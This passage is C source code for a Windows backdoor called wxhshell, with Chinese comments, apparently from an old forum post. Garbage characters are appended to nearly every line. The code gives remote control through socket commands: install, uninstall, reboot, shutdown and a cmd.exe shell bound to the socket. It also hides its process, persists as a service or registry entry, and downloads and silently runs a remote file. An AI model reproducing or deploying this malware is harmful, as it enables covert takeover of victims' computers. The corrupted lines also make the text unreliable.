)zxb]Pg+  
    switch(cmd[0]) { L(yUS)O  
  [e` | <  
  // 帮助 D \i]gfu8W  
  case '?': { <q=Zg7zB  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `/[5/%  
    break; %/uLyCUZ  
  } Kzn1ct{65!  
  // 安装 Led\S;pl  
  case 'i': { '! ^7 *@z  
    if(Install()) +A?P4}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bug.>ln1  
    else G{[w+ObX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d3q%[[@  
    break; xmnBG4,f  
    } <<01@Q <  
  // 卸载 =Smd/'`_  
  case 'r': { PV#h_X<l%  
    if(Uninstall()) hM]Z T5;<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H/{@eaV  
    else y^ skE{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Kn->R9Tl  
    break; //c6vG  
    } <\epj=OclV  
  // 显示 wxhshell 所在路径 -7&ywgxl  
  case 'p': { )'m;a_r`  
    char svExeFile[MAX_PATH]; }@HgFM"  
    strcpy(svExeFile,"\n\r");  b+a+OI D  
      strcat(svExeFile,ExeFile); k{mBG9[z  
        send(wsh,svExeFile,strlen(svExeFile),0); 3*I\#Z4p1  
    break; kqKT>xo4EZ  
    } 5)< Y3nU~  
  // 重启 48 wt  
  case 'b': { %JBLp xnq  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ta{24{?M\  
    if(Boot(REBOOT)) eOb--@~8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]<<,{IQ  
    else { v'?Smd1v /  
    closesocket(wsh); 9KX% O-'  
    ExitThread(0); )f$4: Pq  
    } L6CI9C;-b  
    break; bIGcszWr  
    } !(q@sw(  
  // 关机 ?'~u)O(n  
  case 'd': { 68P'<|u?  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :lXY% [!6P  
    if(Boot(SHUTDOWN)) ~T H4='4W3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t|'%0 W  
    else { hk=[v7  
    closesocket(wsh); [KBa=3>{  
    ExitThread(0); 0JtM|Mg  
    } DU6j0lz  
    break; .bY>++CAPA  
    } vQCb?+X&  
  // 获取shell I8!>7`L  
  case 's': { zI[<uvxzW`  
    CmdShell(wsh); /lR*ab  
    closesocket(wsh); }kt%dDU  
    ExitThread(0); P@@MQ[u?!.  
    break; *jhgCm  
  } }6^5mhsL  
  // 退出 L E\rc A  
  case 'x': { Tl yyJ{~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); JRC2+BU /  
    CloseIt(wsh); w=fWW^>bP  
    break; <B>qE a_I  
    } >bWpj8Kv  
  // 离开 FNUs .d"  
  case 'q': { 'GezIIaH  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Jd/d\P  
    closesocket(wsh); d,?D '/  
    WSACleanup(); EeMKo  
    exit(1); =7e!'cF[  
    break; 33<{1Y[Q6E  
        } 0p.MH~mx  
  } zwC ,,U  
  } OB9E30  
&S xF"pYV  
  // 提示信息 8SRUqe[H]  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fNi&r0/-t  
} gOnZ#  
  } v76P?[  
Ra53M!>]  
  return;  d;>G  
} 0V-jOc  
odca?  
// shell模块句柄 Ud+,/pE>FA  
int CmdShell(SOCKET sock) /1Gmga5  
{ m19\H  
STARTUPINFO si; c/88|k  
ZeroMemory(&si,sizeof(si)); W#!AZ!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; WYF8?1dt +  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; FR6 W-L  
PROCESS_INFORMATION ProcessInfo; ;+ C$EJw-  
char cmdline[]="cmd"; GXm#\)  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (b~l.@xh  
  return 0; \},H\kK+^  
} -3yK>\y=|  
BPv+gx(>k  
// 自身启动模式 Q&PWW#D  
int StartFromService(void) jY\z+lW6A  
{ >{ {ds--  
typedef struct t0fgG/f'  
{ mCt/\  
  DWORD ExitStatus; q}p$S2`  
  DWORD PebBaseAddress; `W}pA mhj  
  DWORD AffinityMask; ? ch?q~e)  
  DWORD BasePriority;  Ps.xY;Y  
  ULONG UniqueProcessId; G^ k8Or2  
  ULONG InheritedFromUniqueProcessId; .lj5pmD  
}   PROCESS_BASIC_INFORMATION; hzk!H]>E  
.n+ ;&5  
PROCNTQSIP NtQueryInformationProcess; u~*A-X [  
3| w$gG;Y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;{0alhMZ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }%}$h2:  
5\zR>Tg".  
  HANDLE             hProcess; UTE6U6  
  PROCESS_BASIC_INFORMATION pbi; evZP*N~G  
M/Z$?nd_H  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Hd;NvNS  
  if(NULL == hInst ) return 0; :0(^^6Q\  
{hN\=_6*EW  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); HaL'/V~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); m$W2E.-$'#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); clyp0`,7  
!BW!!/U  
  if (!NtQueryInformationProcess) return 0; msCz\8Xd  
h #gI1(uL  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); KsTGae;ds  
  if(!hProcess) return 0; q p}2  
HfH+U&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; c}$>UhLe  
h{o,*QL  
  CloseHandle(hProcess); `+(n+QS _  
hj"JmF$m  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); kD+#|f  
if(hProcess==NULL) return 0; Zs}h>$E5_B  
2{WZ?H93a  
HMODULE hMod; vv)w@A:Vn)  
char procName[255]; &k|EG![  
unsigned long cbNeeded; m4W (h6  
q]f7D\ M  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); i@6g9\x+  
; Yc\O:Qq  
  CloseHandle(hProcess); 6'mZM=d  
h&i(Kfv*  
if(strstr(procName,"services")) return 1; // 以服务启动 q1YNp`]0i8  
+%[, m&  
  return 0; // 注册表启动 FTEC=j$ln  
} /g*_dH)=  
6(?@B^S>2  
// 主模块  ^F?B_'  
int StartWxhshell(LPSTR lpCmdLine) x&u@!# d]  
{ %.Btf3y~  
  SOCKET wsl; 2vB,{/GXP  
BOOL val=TRUE;  8zRw\]?  
  int port=0; 8?m=Vw<kIZ  
  struct sockaddr_in door; ubZuvWZ  
4MDVR/Z7  
  if(wscfg.ws_autoins) Install(); 'HfI~wN  
[7x;H  
port=atoi(lpCmdLine); cahlYv'  
'bZw-t!M@  
if(port<=0) port=wscfg.ws_port; m,hqq%qz  
(W"0c?i|]  
  WSADATA data; fh_:ung  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; H/[(T%]o  
1Zk1!> ?  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   N1g;e?T ':  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); k}kwr[  
  door.sin_family = AF_INET; hiVDN"$$  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); hx%UZ<a  
  door.sin_port = htons(port); 0 )PZS>  
(?uK  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { aH%tD!%,o  
closesocket(wsl); Dz.kJ_"Ro  
return 1; 8KP   
} uCW}q.@4  
0V8G9Gj  
  if(listen(wsl,2) == INVALID_SOCKET) { p}GTOJT}  
closesocket(wsl); JSh'iYJ .  
return 1; *S <I!7Q  
} 6,CK1j+tZ  
  Wxhshell(wsl); S=< ]u  
  WSACleanup(); LfrjC@_y  
w U]8hkl?  
return 0; 8zeD%Uv  
V#1v5mWVx  
} Cu$`-b^y  
jMR9E@>~E  
// 以NT服务方式启动 >4>. Ycp  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [KO\!u|?YS  
{ FDFVhcr  
DWORD   status = 0; e6jdSn  
  DWORD   specificError = 0xfffffff; xXV15%&  
eon(C|S7eK  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Z^A(Q>{e  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; h9c7P@29  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =&4eW#{LuH  
  serviceStatus.dwWin32ExitCode     = 0; r!>=G%  
  serviceStatus.dwServiceSpecificExitCode = 0; n#GHa>p.-  
  serviceStatus.dwCheckPoint       = 0; _fj@40i M  
  serviceStatus.dwWaitHint       = 0; A}pe>ja   
 q _;#EV  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8BS$6Pa  
  if (hServiceStatusHandle==0) return; 86&r;c:  
`i!-@WN"  
status = GetLastError(); Q3)[ *61e  
  if (status!=NO_ERROR) TxkvHiq2  
{ I[ZWOi\- ;  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; uWXxK"J.  
    serviceStatus.dwCheckPoint       = 0; =`(\]t"I  
    serviceStatus.dwWaitHint       = 0; aQ 6T2bQ  
    serviceStatus.dwWin32ExitCode     = status; hA~5,K0b  
    serviceStatus.dwServiceSpecificExitCode = specificError; h*[sV  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); W89J]#v)k  
    return; .d)H2X  
  } |@>Zc5MY$  
MhFj>t   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; \gZjq]3  
  serviceStatus.dwCheckPoint       = 0; $U_1e'  
  serviceStatus.dwWaitHint       = 0; H:1F=$0I9  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7BA9zs392  
} h7]>b'H  
).C>>1ZC  
// 处理NT服务事件,比如:启动、停止 k|_ >I  
VOID WINAPI NTServiceHandler(DWORD fdwControl) .W-=VzWX  
{ OHF:E44k  
switch(fdwControl) 79lG~BGE  
{ Me,AE^pgL'  
case SERVICE_CONTROL_STOP: /8(t:  
  serviceStatus.dwWin32ExitCode = 0; 7 Uu  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 9JC8OSjJ  
  serviceStatus.dwCheckPoint   = 0; v}z{OB  
  serviceStatus.dwWaitHint     = 0; }<P%W~  
  { 6ozBU^n  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zpxy X|  
  } ? v@q&  
  return; ]7dal [i  
case SERVICE_CONTROL_PAUSE: \l;H !y[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; D>q?My  
  break; [;INVUwG^  
case SERVICE_CONTROL_CONTINUE: MES|iB  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; E"H> [E  
  break; ;{>-K8=>$  
case SERVICE_CONTROL_INTERROGATE: fAR0GOI  
  break; TlBu3z'P  
}; z1~U#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q# $dp  
} ;%i.@@:IQ  
hRN>]e,!  
// 标准应用程序主函数 f['pHR%l2$  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +@oo8io  
{ x(88Y7o.t  
7\;gd4Ua1  
// 获取操作系统版本 ?K?v64[  
OsIsNt=GetOsVer(); h@ ?BA<'S  
GetModuleFileName(NULL,ExeFile,MAX_PATH); RE:$c!E!  
Riz!HtyR  
  // 从命令行安装 &4l >_  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^Ul *Nm  
t3$+;K(  
  // 下载执行文件 nxYp9,c"  
if(wscfg.ws_downexe) { 1(U\vMb  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <wt9K2,  
  WinExec(wscfg.ws_filenam,SW_HIDE); W>7o ec  
} .hXdXY  
d5B96;3  
if(!OsIsNt) { ze%)fZI0f  
// 如果时win9x,隐藏进程并且设置为注册表启动 HV6'0_R0  
HideProc(); ]O;Rzq{D(  
StartWxhshell(lpCmdLine); W%7m3/d  
} uO`YA]  
else 80ms7 B  
  if(StartFromService()) d~J4&w  
  // 以服务方式启动 wms8z  
  StartServiceCtrlDispatcher(DispatchTable); u>-!5=D8  
else 'xp&)g L  
  // 普通方式启动 Q|}Pc>ae  
  StartWxhshell(lpCmdLine); Aa/lKiiz  
lN^} qg><  
return 0; [HhdeLOX  
}
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只看该作者 1 发表于: 2006-10-10
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